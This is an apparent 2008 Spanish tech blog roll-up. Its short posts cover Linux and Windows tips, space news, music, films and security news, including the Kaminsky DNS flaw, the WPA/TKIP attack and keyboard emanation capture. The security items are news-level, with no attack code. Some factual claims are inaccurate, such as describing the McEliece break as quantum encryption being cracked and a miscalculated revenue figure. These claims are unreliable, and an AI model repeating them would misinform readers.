      SET ezine Nº35 en la calle

      

      Gracias a un comentario de blackngel dejado en CyberHades en este post, sabemos que ya está en la calle calentito el nuevo SET Nº35. Fijaros que menú tan suculento:

      0x00   Contenidos                         

      0x01   Editorial                          

      0x02   Crackear usando WINE               

      0x03   Bazar de SET                       

         3x01  Certificaciones                          

         3x02  La Cripta                                

         3x03  Syn vs Fin Scan                          

      0x04   Hack Symbian                       

      0x05   Protocolo MetroTRK                 

      Análisis de la vulnerabilidad Kaminsky en DNS

       

      Excelente artículo en PDF (en castellano) visto en Kriptópolis y creado por Gabriel Verdejo donde se hace un anális en profundidad de esta vulnerabilidad:

      Documento en PDF de Gabriel Verdejo

      Kaminsky en CyberHades

      Richard M. Stallman retira su apoyo al proyecto …

      

      R.M. Stallman ha retirado su apoyo al proyecto One Laptop Per Child (OLPC). Según puede leerse en este artículo publicado en Boston Review parece ser que al final el proyecto se ha vendido a Microsoft. Con lo cual en vez de tratarse de un proyecto con el que conseguir conocimientos, libertad y autonomía finalmente se ha convertido en un proyecto para captar futuros consumidores de productos Microsoft.

      Así se hizo el sublime "Forever Changes" de LOVE

      Se acaba de publicar en España, el libro "Entre Bastidores: De viaje con el grupo Love" (aunque todavía no ha llegado a algunas tiendas), editado por METROPOLITAN y escrito por el que fue batería de Love, Michael Stuart-Ware.

      

      El libro, además de abordar las tormentosas relaciones entre los componentes y más concretamente con su líder Arthur Lee, ofrece detalles sobre el proceso de grabación de uno de los mejores discos de todos los tiempos: Forever Changes (publicado en 1967). En él se cuentan cosas, como que el disco estuvo a punto de ser grabado con músicos de estudio (tras muchos intentos frustrados de la banda).

      Dos nuevas series para ver, "Fringe" y "Merlin"

      Fantásticas las dos, pero mejor mira el comentario de spoiler para saber más sobre ellas:

      “Merlin”: aventuras del joven mago junto a su amigo Arturo.

      

       

      “Fringe”: si te gustó Expediente X, esta seguro que te encantará.

      

      The Veil Nebula, un espectro en el espacio

      

       

      Visto en:

      http://www.neatorama.com/2008/11/08/specter-in-the-veil-nebula/

      Fuente original:

      Astronomy Picture of the Day

      Yahoo! quiere ahora que lo compre Microsoft ...

      

      Ya hablamos sobre el intento de compra de Microsoft hacia Yahoo aquí, pues ahora es todo lo contrario.

      Visto en:

      http://tech.slashdot.org/tech/08/11/08/1251233.shtml

      Desplome en bolsa de Yahoo!

      Como proteger tu WiFi del nuevo exploit WPA

       

       Un estudiante de doctorado ha encontrado un exploit en el estándar Wifi WPA que permite el acceso total a una red WiFi protegida con dicho tipo de encriptación. El ataque se centra en romper el TKIP, Temporary Key Intergrity Protocol, lo cual puede conseguir en 15 minutos. El ataque Twes/Beck se basa en otro ataque para romper el WEP, donde se "esnifan" paquetes de datos de la red, se modifica su "checksum" y se envían de nuevo al punto de acceso para ver su resultado.

      Creando paisajes imaginarios

      

      (Imágen creada con Terragen, por Frank Basinsky)

      Si te gusta crear paisajes esta recopilación de aplicaciones gratuitas (y alguna de pago) te ayudaran a crear tus mundos virtuales.

       

      Terragen: ocupa poco espacio y tiene muchas opciones fáciles de usar, tipo de nube, tipo de agua, etc …  Gratuito:

      http://www.planetside.co.uk/terragen/win/downloadwin.shtml

       

      Nem’s Mega 3D Terrain Generator: en este puedes ir viendo el progreso del paisaje directamente en 3D,  gratuito.

      La sonda Phoenix en modo "Lázaro"

      

      Excelente artículo visto en:

      Sondas Espaciales - La sonda Phoenix se encuentra en modo Lázaro

      Poco a poco la sonda se está apagando, y debido a este motivo ha entrado en modo “Lázaro” el cual se activa cuando las baterías se descargan completamente. Entoces espera a la mañana siguiente cuando recibe de nuevo los rayos del sol y se recargan un poco las baterías, para poder comunicarse con los orbitadores alrededor de Marte para poder establecer comunicación también con la Tierra.

      La bombilla plana, una fantástica idea

      

      A veces tenemos delante de nuestras narices idéas realmente tontas o simples pero brillantes, que podrían hacernos millonarios y que por una razón u otra no somos capaces de ver.

      Y como muestra un botón, esta bombilla plana que reduce un 33% los costes de fabricación y de transporte, totalmente compatible con los casquillos actuales.

      Simplemente genial.

      Visto en:

      http://www.neatorama.com/2008/11/07/flat-bulb-a-bright-idea/

      Encuentra y descarga videos de alta resolución en …

      

      Simplemente, ve a Google y teclea lo siguiente después a continuación de tu consulta:

      site:youtube.com “watch in normal quality watch in high quality”

      Ej: sigur ros site:youtube.com “watch in normal quality watch in high quality”

      cuando lo encuentres, copia y pega la URL a esta dirección:

      http://keepvid.com/

      y pulsa el botón “Download”.

      Luego te permitirá seleccionar el que quieres descargar, baja calidad (FLV) o alta (MP4)

      Ocarina iPhone

      Y sí tienes que soplar:

      http://blog.makezine.com/archive/2008/11/the_ocarina_of_time_iphon.html

      La web de Radio 3, toda la parrilla para descargar

      

      Impresionante la página de Radio 3:

      http://www.rtve.es/radio/radio3/

      Puedes descargarte todos los programas, conciertos, etc …  por fin podré recuperar todos los programas que antes escuchaba como disco grande, siglo XXI, etc …

      Excelente iniciativa.

      NOTA: ya hablamos sobre la recreación de “La Guerra de los Mundos”, si te lo perdiste ahora puedes descargarlo desde:

      La Guerra de los Mundos, Radio 3

      Gracias a Manolo por la información ;)

      Zeitgeist, la película

      Zeitgeist es un vocablo alemán que significa el espíritu del tiempo, y denota el clima intelectual y cultural de una era.

      Éste, además, es el título de una película filmada en 2007 y de difusión gratuita a través de Google Video, en la cual se intenta llamar la atención sobre la creación de mitos, de creencias, de valores y del uso que algunas personas hacen de ellos para someter a las masas.

      LittleBigPlanet, recreando el primer nivel de …

      Este LittleBigPlanet dará mucho que hablar, sino fijáos en este nivel primer nivel recreado al completo del fantástico y clásico juego Gradius:

      Nivel original:

      Visto en Ecetia:

      http://ecetia.com/2008/11/03/littlebigplanet-replica-del-primer-nivel-de-gradius/

      iPhone Robots

       

      He visto ya en algunas páginas proyectos para montar robots usando el iPhone, cosa que tampoco debería de ser tan extraña cuando existen proyectos para hacerlos con teléfonos móviles y pdas. Pero bueno, como es el iPhone, y por eso parece que se están extendiendo más. La WiFi incorporada que se usará para comunicarse con el ordenador y la cámara le dan bastante juego a estos robots.

      Claro que para poder programarlo necesitas hacerle un “jailbreak”, este en concreto está programado el código en Ruby:

      El origen de la vida en la Tierra

      

      Con este título expuso Alexandr Ivánovich Oparin su hipótesis con respecto al origen de la vida en este planeta. La hipótesis de Oparin comienza con el origen de La Tierra hace 4.600 millones de años, a continuación postula que la atmósfera existente en esos momentos era reductora, es decir, que era una atmósfera sin oxígeno en la que quizá había grandes concentraciones de metano (CH4), vapor de agua (H2O), amoníaco (NH3) y algo de hidrógeno (H2). Una atmosfera con esta composición debió promover la síntesis química.

      Trailer de "Fanboys"

       

      Un grupo de seguidores de StarWars quieren ver los primeros el Episodio I …

      Visto en:

      Blogdecine

      La Sonda Cassini busca indicios de vida en …

      Encelado es uno de los satélites de Saturno que más ha fascinado a los científicos especialmente cuando la sonda Cassini tomó esta espectacular foto de una emisión al espacio de partículas de hielo y vapor de agua:

      

      Algunos modelos barajan la posibilidad de que debajo de Encelado se encuentre un enorme océano de agua líquida (como en Europa), el cual podría ser potencialmente viable para la vida. El problema es que la sonda Cassini no está preparada para buscar directamente vida. La única forma es buscar algún indicio que pueda asociarse indirectamente a la vida, como por ejemplo las emisiones de metano que precisamente abunda en Encelado, así como el propano y el acetileno (seguro que nuestro amigo Kentar nos puede explicar esto mucho mejor).

      Indiana Jones vs Gremlins

      Vaya montaje, visto en:

      http://pichicola.com/2008/11/02/indiana-jones-vs-los-gremlins/

      31 disfraces alucinantes de videojuegos

       

      Vaya lista de disfraces de personajes de videojuegos currados de verdad, visto en:

      http://www.neatorama.com/2008/11/03/31-amazing-video-game-costumes/

      Enlace original:

      http://www.slobsofgaming.com/article/104754/31-amazing-video-game-costumes/

      Windows 7 en acción

      Uso de la nueva barra de tareas del Windows 7.

      Visto en:

      http://lifehacker.com/5075076/new-windows-7-taskbar-peek-feature-look-awesome

      La obra de Banksy

      En mi primera visita a Nueva York (no pretendo despertar envidias ;-)), entre otras muchísimas cosas, una de las que más me ha gustado y sorprendido han sido las obras de un artista británico, desconocido para mi, llamado Banksy. Es un “grafitero” que se ha encargado de plasmar su obra tanto en las calles como en museos. Todavía no está claro ni su rostro ni su identidad y, sin embargo, sus obras se cotizan en las más famosas galerías de arte.

      Los mejores diseños de naves espaciales de ciencia …

      

      Hemos encontrado estos tres fantásticos enlaces con dibujos y diseños de naves espaciales de ciencia ficción:

      Art of Koshime

      Wired: Sci-Fi Space Ships

      ConceptShips

      Un juego que personalmente me encanta es Homeworld (1 y 2), con un diseño de naves espaciales realmente espectacular (así como la historia). En este enlace puedes ver las características de cada una de ellas:

      Homeworld Shipshards

      Y aquí algunos diseños:

      ConceptShips Art of Homeworld

      Stephin Merritt elaborando una canción en 2 días

      Hace ahora aproximadamente 1 año, la emisora National Public Radio, ofreció a Stephin Merritt (autor del maravilloso e indispensable disco “69 Love Songs” de la banda The Magnetic Fields y miembro a su vez de The 6ths, The Gothic Archies y Future Bible Heroes) participar en un interesantísimo proyecto, dentro del programa All Songs Considered, llamado Project Song: Consistía en elegir, entre un grupo de 6 fotos y 6 palabras o frases, una foto que inspirara el tema de la canción y una palabra que inspirara el estilo.

      Disfraz Robot Mech

      Visto en:

      http://www.boingboing.net/2008/10/31/childs-mech-walker-c.html

      10 cosas que deberías hacer nada más instalar …

       

      

      1. Añadir el repositorio Medibuntu: por razones legales, Ubuntu no puede instalar Multimedia, Entertainment & Distractions In Ubuntu. Esto es imprescindible para reproducir MP3, instalar codecs, reproducir DVDs, etc. Para instalarlo:

      sudo wget http://www.medibuntu.org/sources.list.d/intrepid.list –output-document=/etc/apt/sources.list.d/medibuntu.list && sudo apt-get update && sudo apt-get install medibuntu-keyring && sudo apt-get update

      Y luego:

      sudo sed -i -e “s/# deb/deb/g” /etc/apt/sources.list && sudo apt-get update

      PICTOPIA (Iconos de Combate)

      

      Desde hace varios meses, está publicado PICTOPIA, Gráfica Social en Estado Puro (editado por Promopress), un libro cuyos autores son dos genios del diseño y la publicidad llamados Sonía Díaz y Gabriel Martínez.

      Afincados en Madrid, y además de firmar trabajos de diseño y publicidad bajo el nombre de LSDspace, forman el colectivo Un Mundo Feliz (una ONG gráfica, tal y como ellos la denominan).

      El libro reúne hasta 400 pictogramas e ilustraciones de temática social y política, libre de derechos (con una finalidad divulgativa y para que cada uno lo utilice como quiera, para hacerse camisetas etc, algo digno de admiración y más en los tiempos que corren). También incluye 200 películas, todo ello en un CD que el libro lleva adjunto.

      Ayuda para montar paso a paso tu pc

      

      Supongo que a estas alturas muchos de vosotros habréis montado vuestros propios ordenadores personales. Pero algunos como yo, todavía profanos en esta materia, necesitaríamos ayuda para hacerlo. Pues bien, en esta página podéis encontrar como hacerlo bien explicado, con fotos, etc. A mi me ha parecido de lo más didáctico que he visto en mucho tiempo. Espero os sirva de ayuda.

      http://www.hardzone.es/monta-tu-propio-ordenador-personal/

      Nuestro top 5 películas para Hallowen

      

      1. “El Resplandor” es para mi la mejor película de terror de todos los tiempos. Sublime Jack Nicholson y espectacular el opresor ambiente de la casa aislada en la montaña rodeada por la nieve, totalmente imprescindible. 

      2. “El Exorcista”, otra para pasar miedo de verdad. Lo que más me llamó la atención es la violencia de la posesión y sobre todo, la música (de Mike Olfield).

      Cayó el cifrado cuántico, antes de inventarlo …

      

      Lo que parecía la solución a la encriptación de datos, la encriptación cuántica, ya ha sido crackeada. En concreto el sistema que se creía sería el futuro de la seguridad de la red, basado (en el ya conocido hace 30 años) sistema McEliece. El asalto al cifrado de la información ha sido realizado por científicos de la Universidad de Eindhoven.

      Nada parece ya seguro.

      Fuentes:

      El cifrado cuántico, crackeado - MuyComputer

      Hormigas robóticas en Marte

       

      Excelente artículo en Tendencias 21 hablando sobre el envío de varios robots preparados para comunicarse entre ellos para ir preparando la llegada el hombre a Marte.

      “Estos pequeños robots trabajarían juntos y explorarían el planeta. Sabemos que hay agua y polvo; lo suficiente para empezar a construir estructuras, como casas para científicos”, Marc Szymanski.

      Os aconsejo leer el artículo.

      Hormigas Robóticas podrían construir las primeras edificaciones en Marte - Tendencias 21.

      Distribuciones de Linux en un usb, las mejores …

      Windows y Linux

      Con el programa UNetbootin puedes crear una distribución Linux en un pendrive y arrancarla desde cualquier equipo que te lo permita desde el usb. Este programa tiene una gran lista de distribuciones que puedes descargar e instalar, pero es demasiado extensa y algunas son mejores que otras. 

      Desde LifeHacker han hecho esta lista de algunas de las más destacadas, de las cuales en CyberHades nos quedamos con estas dos:

      Puppy Linux 4.1

      La mejor información sobre Windows 7

       

      LLevamos tiempo escribiendo características, nuevas funciones, etc … de Windows 7. Pero debido a los contínuos cambios que la compañía de Redmond hace sobre este producto, es difícil encontrar artículos fiables y completos.

      Esta recopilación de productos ha sido realizada por 4SysOps:

      Este es el PDF con el dossier de publicidad (borrador) para Windows 7 creado por Microsoft

      Windows 7 At-A-Glance (artículo muy completo y sencillo)

      Analiza tu contraseña contra ataques de fuerza …

      

      Puedes analizarla tanto online (no pones la contraseña, sólo de qué tipos de caracteres está compuesta y el número):

      http://www.hackosis.com/projects/bfcalc/bfcalc.php

      Y la aplicación descargable (es una tabla Excel con una macro):

      http://www.mandylionlabs.com/documents/BFTCalc.xls

      de esta forma te harás un poco a la idea del tiempo y recursos necesarios para reventar usando fuerza bruta tu contraseña.

      Visto en:

      http://lifehacker.com/5072112/check-your-passwords-against-brute-force-attacks

      Phoenix se apaga

      

      Con la llegada del invierno marciano, la sonda Phoenix entró en “modo seguro”. Las malas temperaturas y el clima adverso han provocado una bajada en el rendimiento de las baterías, por lo que se ha optado a apagar algunos calentadores y otros instrumentos que ya no necesitará. También se ha desactivado el brazo robot.

      Los -96º centígrados de noche y los -45º grados centígrados en el día más las tormentas de polvo son los responsables de la entrada en modo seguro de la sonda.

      Radio3 de RNE recrea La Guerra de los Mundos de …

      

      Será hoy día 30 de octubre del 2008 de 21:00 a 22:00 horas en España, puedes oirlo también por Internet y será igual de fiel que la original.

      La Guerra de los Mundos

      http://www.rtve.es/radio/components/radiovivo/popup_radio.shtml

      Visto en:

      http://barrapunto.com/articles/08/10/30/1552235.shtml

      Más datos sobre La Guerra de los Mundos:

      http://www.microsiervos.com/archivo/mundoreal/70-aniv-guerra-de-los-mundos.html

      Microsoft Diagnostics and Recovery ToolSet, para …

       

      Windows

      Esta utilidad se descarga en formato ISO (luego arrancas desde el CD) y sirve para reparar distribuciones de Windows que no arrancan. LLeva una colección de herramientas espectaculares:

      Editor de registro

      Reseteo de contraseñas (sin saber la de administrador)

      Analizador de errores

      Recuperación de ficheros borrados

      Disk Commander, que reparar MBR y particiones

      Disk Wipe, que elimina de forma permanente los datos del disco duro

      Ya puedes descargar el nuevo Ubuntu 8.10

      

      Para descargarlo en ISO:

      http://www.ubuntu.com/getubuntu/download

      Las mejoras más notables, se incluye soporte 3G, se mejora la gestión de la WiFi, utilidad para crear en un USB una versión de Ubuntu arrancable y también un fantástico System Cleaner para borrar todo lo que no necesites del sistema.

      Muy aconsejable.

      Nuevas funciones:

      http://www.alcancelibre.org/article.php/que-sera-lo-nuevo-en-ubuntu-810

      Red Alert 3

      Si te gustan los juegos de estrategia en tiempo real, mientras llega StarCraft II este es una buena opción:

      Red Alert 3

      Fotos espectaculares de cuevas

      

      Todo un mundo subterráneo alucinante, visto en:

      http://www.neatorama.com/2008/10/29/caves-the-world-beneath-the-world/

      Fuente original:

      http://www.neatorama.com/2008/10/29/caves-the-world-beneath-the-world/

      

      MTV publica su biblioteca de videos musicales , y …

       

      ¡Uf! esto si que es un notición musical, ya que la biblioteca de videos de la MTV es ESPECTACULAR, puedes encontrar prácticamente cualquier video musical publicado, sino te lo crees echa un vistazo:

      http://www.mtvmusic.com/

      INCREIBLE, mira que joyas:

      FIESTÓN de Daft Punk (impresionante) “Harder Better Faster Strongest”:

       Björk, “All is full of love”:

      Joy Division, “Love will tear us apart”: 

      Lightspeed Champion tocando temas de StarWars

      Menos mal que me avisó mi colega GrooveOrfeo de estas espectaculares versiones de StarWars realizadas por Lightspeed Champion:

      Lightspeed Champion

      Denki Groove

      Visto en:

      http://www.kirainet.com/denki-groove/

      Grupo:

      http://www.denkigroove.com/

      World of Warcraft supera los 11 millones de …

       

      Que barbaridad, 11 millones de usuarios pagando al mes unos 13€ son 143.000.000 millones de euros mensuales o_O , más el precio de compra del juego o de la expansión, sobre 30€ de media … para quitarse el sombrero con los genios de Blizzard, digno de estudio.

      En el mundo WOW hay la misma o más población que en Cuba, Grecia, Portugal, etc … ¿llegaremos a ver el pais del WOW? ;)

      Windows 7, primera demostración del interface y …

      

      Poco a poco ya tenemos más información sobre el nuevo Windows 7. Me he quedado un poco sorprendido al leer que Windows 7 no llevará nada de la arquitectura gráfica de Vista (aero), ya que tendrá una nueva programación más cercana al bajo nivel para aumentar su velocidad. De todas formas todo el software de Windows Vista funcionará perfectamente en Windows 7 (pues menos mal). También se ha notado que Microsoft se ha concentraro en la experiencia del usuario frente al interfaz gráfico.

      El tatoo más geek

      

      No comment

      ¿Se está haciendo Ubuntu más lento?

      

      En Phoronix, sitio especializado en el hardware sobre Linux, empleando el software Phoronix Test Suite han hecho 35 tests, cubriendo nueve diferentes áreas del sistema, en cada una de las últimas versiones de Ubuntu, (Feisty, Hardy e Intrepid), que han estado ejecutándose durante más de 100 horas. Las conclusiones finales destacan una ralentización del sistema, aunque también se destaca un aumento de compatibilidad y jugabilidad.

      http://www.phoronix.com/scan.php?page=article&item=ubuntu_bench_2008&num=1

      El Geek Errante, finalista en los BOBs 2008

      

      Desde CyberHades queremos animaros a que votéis por los chicos de “El Geek Errante”, nuestro podcast favorito, para que puedan ganar en la categoría de mejor podcast internacional en los BOB del 2008. Se lo merecen por el verdadero “curro” y el fantástico contenido divulgativo de su podcast que desde CyberHades no nos perdemos ni uno.

      ¡Vamos aún podéis votar!

      Para votar:

      The BOBs

      Visto en:

      http://elgeekerrante.com/ege-finalista-en-los-bobs-2008/

      Asignar la función "apagado" en vez de …

      Todos conocemos el botoncito de “power” del Vista:

      

      Por defecto viene configurado para dejar el equipo en un modo de hibernación (modo que no es habitual entrar), pero que sería más lógico que fuera un apagado real. Pues cambiarlo es muy sencillo:

      1. Panel de Control de Vista, Opciones de Energía

      Pulsamos en “Cambiar a configuración del plan”

      

      Ahora en “Cambiar a la configuración avanzada de energía”

      Impresionante, Korg DS-10 para la Nintendo DS

       

      Si te gusta la música electrónica tienes que probar este fantástico simulador del Korg DS-10 para la Nintendo DS ¿quieres alguna prueba?:

      Espectacular.

      Un poco de historia:

      Korg DS-10

      Nuevo logo y botellas de Pepsi

      

      Visto en:

      http://larryfire.wordpress.com/2008/10/25/pepsi-unveils-new-logo-bottles/

      Richard Stallman (genio) no usa navegador Web

       

      Adoramos a Richard Stallman, creemos que es total y absolutamente un genio. Hemos estado un par de veces (una de las mejores fue con DuenD en Valencia) en conferencias y os aseguro que oirlo trasmite muchísimo conocimiento y energía positiva.

      http://www.stallman.org/

      Esto que os pongo, ya es bastante viejo y además puede que sea broma pero es curioso, parece que lo posteo él mismo (si quieres ver algunas bromas sobre Stallman pulsa aquí), y lo que es cierto es la paranoia que tiene Richard Stallman con la seguridad (puedes pulsar en este enlace para ver ahora su advertencia sobre el Cloud Computing):

      HDOS Databank request 01, otro juego adictivo

      

      Juego tipo puzzle/tetris en el que tienes una serie de movimientos limitados para intercambiar de lugar los cubos y hacer que coincidan para que se eliminen. Al principio es fácil pero luego se complica, pero es tremendamente adictivo.

      Tiene 35 niveles y según los autores al final tienes un GRAN premio … si alguien llega que nos lo diga ;)

       

      http://www.gamereclaim.com/2008/10/hdos-databank-request-01/

      Visto en:

      Protección del software Parte IV, de S21sec

      Cuarta parte:

      http://blog.s21sec.com/2008/10/proteccin-del-software-parte-iv.html

      Partes anteriores:

      Parte III

      Parte I y II

      Medidas de protección contra troyanos bancarios, …

       

      Última entrega de este fantástico tutorial de Chema Alonso para defenderte de los troyanos bancarios:

      Medidas de protección contra troyanos bancarios 6 de 6

      Video de AC/DC en Excel

      Pues sí totalmente hecho en Excel, puedes descargarlo (el .xls) desde:

      http://www.acdcrocks.com/excel

      Canción “Rock’n’Roll Train”.

      Visto en:

      http://www.neatorama.com/2008/10/25/acdc-music-video-composed-using-ms-excel/

      La NASA repara el Hubble trabajando con …

      

      Todos sabemos que el Hubble está siendo reparado por la NASA:

      http://www.microsiervos.com/archivo/ciencia/reparacion-hubble-progresa-satisfactoriamente.html

      http://www.cyberhades.com/?p=1468

      Pues algo no ha funcionado correctamente en la reparación la semana pasada y la NASA está buscando el posible problema trabajando con 486 y alguna tecnología más obsoleta. Simplemente tienen en tierra réplicas de toda la electrónica que se utilizó hace 18 años para construir el Hubble para afrontar y simular todos los problemas actuales para dar con la posible solución. Esta réplica ocupa una habitación entera llena de tecnología de 1989, totalmente obsoleta pero operativa.

      Usando SD de más de 2Gb en la Wii

      

      La Nintendo Wii no acepta más de 2Gb en las tarjetas SD, y con lo baratas que están las de 4Gb y todo lo que puedes almacenar es una pena no poder utilizarlas. Pues Knoxximus de cheapassgamer.com tiene una forma para hacer que las acepte. Resumiendo, el procedimiento llena de información aleatoria (junk data) la tarjeta de 4Gb hasta que la capacidad esté por debajo de los 2Gb. Primero usamos el programa SDFormatter para  formatearla y luego copiamos algunos ficheros hasta llegar a menos de 2Gb de capacidad. Entonces de repente la SD funciona en la Wii. Luego eliminas los ficheros que has copiado aleatoriamente para tener la capacidad de 4Gb libres y accesibles … misterios de la electrónica ;)

      Más sobre Linux, animaciones del código

      Este video es un tour por la estructura del código del núcleo.

      Y aqui puedes ver otras en sobre el desarrollo del núcleo (y las versiones) en 3d:

      http://www.pabr.org/kernel3d/kernel3d.html

      10 millones de líneas en los ficheros del código …

       

      Bueno quitando espacios en blanco y ficheros de texto salen 6.399.191. El 96,4% es código C y el resto 3,6% es esamblador.

      Visto en:

      Heise Open Source

      MuyComputer

      http://barrapunto.com/articles/08/10/23/0922230.shtml

      Mapa Kernel Linux

      AdvancedRemoteInfo (ARI), herramienta para obtener …

      

      Windows (no es estable en Windows Vista)

      Con esta aplicación gratuita puedes obtener bastante información sobre ordenadores remotos con Windows. Aparte tiene otras características como proceso por lotes y “screenshot” (captura de pantalla).

      La información que puedes obtener es la siguiente: procesos, vista general, servicios, drivers, software, compartidos, usuarios, y mucho más.

      Otro para nuestra colección, puedes descargarla aquí.

      Visto en la magnífica:

      http://4sysops.com/archives/free-advancedremoteinfo-gather-information-remotely-from-windows-pcs/

      3:19 gana el premio al mejor largometraje en la …

      

      ¡Enhorabuena amigos!

      http://www.mostravalencia.com/

      http://319lapelicula.com/?p=75

      Si aún no la has visto, aún estás a tiempo.

      Rayos X con celofán

      

      Cuando “pelas” o tiras de un rollo de papel celofán, creas luz visible. Pues ahora desde la Universidad de UCLA dicen que si haces eso dentro de una cámara de vacío, creas Rayos X:

      http://www.wired.com/science/discoveries/multimedia/2008/10/gallery_xray_tape

      Increible.

      Convertir PDF a Word online gratis y en tres pasos

      

      Visto en:

      http://lifehacker.com/5067375/convert-pdfs-to-word-online-with-three-clicks

      Para hacer la conversión:

      http://pdfundo.net/convert/

      Sin registros previos, gratuito y funciona para cualquier plataforma.

      Los tres clicks son: carga el fichero, convierte el fichero y descarga el fichero.

      Para nuestra colección de aplicaciones.

      Averiguar dirección MAC a partir de una IP (método …

      

      Windows, Linux, Mac

      Esto es lo más sencillo posible, sólo necesitas la línea de comandos.

      La idea es cargar en la tabla ARP la MAC de la IP, para eso nos sirve simplemente un “ping” a la IP y luego visualizar la tabla arp:

      Ejemplo

      ping 192.100.10.1

      arp -a

      (en linux no pongas “-a”, mejor “-n” o nada)

      Es una tontería pero siempre viene bien saberlo.

      Advanced IP Scanning, encuentra y controla las …

      

      Windows

      Otra utilidad gratuita más para nuestra colección. Este fantástico programa te permite escanear tu red en busca de equipos y luego poder controlarlos, como apagarlos, Wake up Lan, conectar por FTP o por Telnet … y mucho más. También te muestra mucha información de la máquina remota, como la MAC, IP, usuario, etc …

      Excelente, ya la tenemos funcionando.

      Visto en:

      http://lifehacker.com/5066975/advanced-ip-scanner-finds-and-controls-network-computers

      Descarga de la aplicación:

      iBeer para el iPhone ...

      Escuché un comentario en El Amuleto de Yendor (uno de nuestros podcasts favoritos) sobre esta curiosidad del iPhone.

      De paso os recomendamos que escuchéis este fantástico blog.

      Ruta Geek para Londres (Microsiervos)

       

      

      Si necesitas una guía de Londres, pero un poco geek, echa un vistazo a la de nuestros amigos en Microsiervos:

      http://www.microsiervos.com/archivo/mundoreal/cosas-londres-geek.html

      Photoshop Disaster, despistes usando el Photoshop

      

      La web Photoshop Disaster recopila los errores más sonados a la hora de usar Photoshop en los diseños de publicidad. La que tiene en la cabecera de este post es de la revista Marie Claire, donde se colocan al lado de las fotos retocadas las imágenes reales de las caras sin retocar … increible.

      Visto en.

      http://www.boingboing.net/2008/10/22/photoshop-disasters.html

      Juan Antonio Cebrián, no te olvidamos

       

      El día 20 de octubre se cumplió un año de la muerte de nuestro Gran Capitán, Juan Antonio Cebrián. 

      Su legado de La Rosa de los Vientos contínua, ahora comandando por Bruno Cardeñosa´.

      Nuestro homenaje a Juan Antonio desde CyberHades, no te olvidamos.

      Podcast Rosa de los Vientos recordando a Juan Antonio:

      http://www.rosavientospodcast.com/podcast/actual/rosavientospodcastcom-332.html

      http://www.rosavientospodcast.com/podcast/actual/rosavientospodcastcom-333.html

      Reloj de leds creado con un disco duro

      Con un microcontrolador y con leds tricolores, resultado espectacular.

      Todo sobre como hacerlo:

      http://www.ian.org/HD-Clock/

      Conciertos Interesantes

      Aquí os dejamos un par de páginas para disfrutar de conciertos.

      LA BLOGOTHEQUE: Página en la cual recogen dos o tres canciones de cantantes y grupos en los sitios más inverosímiles. Buen sonido y originalidad ante todo. Una forma diferente de ver grupazos. Como ejemplo, dos de las actuaciones que más me han gustado:

      Arcade Fire: No os lo perdáis…

      #41 - Arcade Fire - Neon Bible & Wake Up by lablogotheque
      Beirut: En plena calle, genial...
      #64.1 - Beirut - Nantes by lablogotheque
      FABCHANNEL: Página con conciertos íntegros de grupos. Están clasificados en Pop, Rock, Punk, Electrónica, Soul, etc. La gran mayoría con alta calidad de sonido. Incluye lista de canciones para poder seleccionarlas. A destacar, el concierto de Lightspeed Champion (grupo del ex-líder de la banda Test Icicles).
      Otros conciertos interesantes: Los galeses Los Campesinos! (proximamente en España en el Wintercase 08), Patrick Wolf, Bright Eyes, Iron and Wine, etc.
      http://www.fabchannel.com

      Capturando pulsaciones de teclados (inalámbricos o …

       

      Cuando pulsamos un teclado inalámbrico o de cable, este emite señales electromagnéticas que pueden ser capturadas y analizadas para revelar las teclas que han sido pulsadas. Analizando el espectro de la señal, sería posible capturar usando por ejemplo el método Kuhn, todas o casi todas las teclas que han sido presionadas en un rango de 20 metros.

      En este ensayo, de 11 teclados analizados, todos han sido vulnerables a por lo menos uno de los cuatro métodos usados para capturar la información.

      Boceto de 1956 Werher Von Braun para llegar a la …

      

      Un boceto de 1952 de Wernher Von Braun , vendido por 132.000$ en una subasta, de un posible diseño de un cohete para llegar a la Luna (luego diseñó otros como el Saturno 5, pero este fue uno de los primeros bocetos).

      Enlace:

      http://superpunch.blogspot.com/2008/10/wernher-von-brauns-idea-of-spaceship.html

      Resolviendo cubos de Rubik de 20x20x20 y …

       

      Visto en Microsiervos. IMPRESIONANTE simulación por ordenador para resolver Cubos de Rubik de 20x20x20 y 100x100x100. El programa utiliza un algoritmo real para solucionarlo, no hace una vuelta atrás simple. Impresionante ver cómo se mueve solbre todo el de 100x100x100:

      http://www.microsiervos.com/archivo/puzzles-y-rubik/resolviendo-rubiks-colosales.html

      Si quieres probarlo, este es software para resolverlos:

      http://www.gabbasoft.com/

      Algunos enlaces con algoritmos y programas para resolverlo:

      http://www.exa.unicen.edu.ar/catedras/aydalgo2/docs/Rubik.pdf

      http://peter.stillhq.com/jasmine/rubikscubesolution.html

      Recordando a Saul Bass

      Qué decir de Saul Bass, responsable de las mejores secuencias de títulos de crédito de la historia del cine, creativo publicitario de logos tan universales como los de AT&T, MINOLTA o UNITED AIRLINES, director de cine, etc.

      

      

      Aprovechando la inminente proyección esta semana en la Filmoteca del IVAM de Valencia de “Sucesos en la IV Fase” (“PHASE IV”), el que fue el único largometraje que hizo como director, quiero hacerle desde Cyberhades un pequeño homenaje.

      Libro "Un geek en Japón", recomendable

      

      Hace unas semanas estuve en Alicante y me acordé que Kirai (Héctor García) había escrito un libro llamado “Un geek en Japón” donde recopila todas sus experiencias en dicho pais. Entoces fui al Fnac de la zona y me lo compré.

      La verdad es que os lo recomiendo, sobre todo si tienes que viajar a Japón, ya que la información y los consejos que ofrece son muy útiles para el primer contacto con la cultura nipona. También es un excelente resúmen de la cultura japonesa más alla de la ciencia y la tecnología. Muy divertido de leer y con fantásticas ilustraciones, desde Cyberhades os lo recomendamos.

      Medidas de protección contra troyanos bancarios, …

      Vamos por el número 5 de este excelente manual de protección contra troyanos bancarios de Chema Alonso:

      Medidas de protección contra troyanos bancarios 5 de 6

      Iluminar tu teclado con dos leds por menos de 3 €

      Fantástico hack para el teclado, este video te lo explica todo con detalle, visto en:

      http://www.kipkay.com

      Illuminated Keyboard Hack! - Click here for the most popular videos

      Jóhann Jóhannsson y su disco dedicado al IBM 1401

      

      Cuando estuvimos en Islandia (ya os pondré cuando pueda la ruta que hicimos), compré en la famosa 12 Tónar de Reykjavik el disco de Jóhann Jóhannsson, “IBM 1401, a user’s manual”.

      Creo que es el disco más Geek que he visto nunca. El IBM 1401 fue el primer ordenador personal que en 1964 llegó a Islandia. Este fue uno de los primeros ordenadores fabricados en masa para los negocios. Pues este disco es todo un homenaje a este ordenador y a sus periféricos (sino mira abajo el nombre de las canciones).

      Abandonware, para recrear viejos tiempos

      

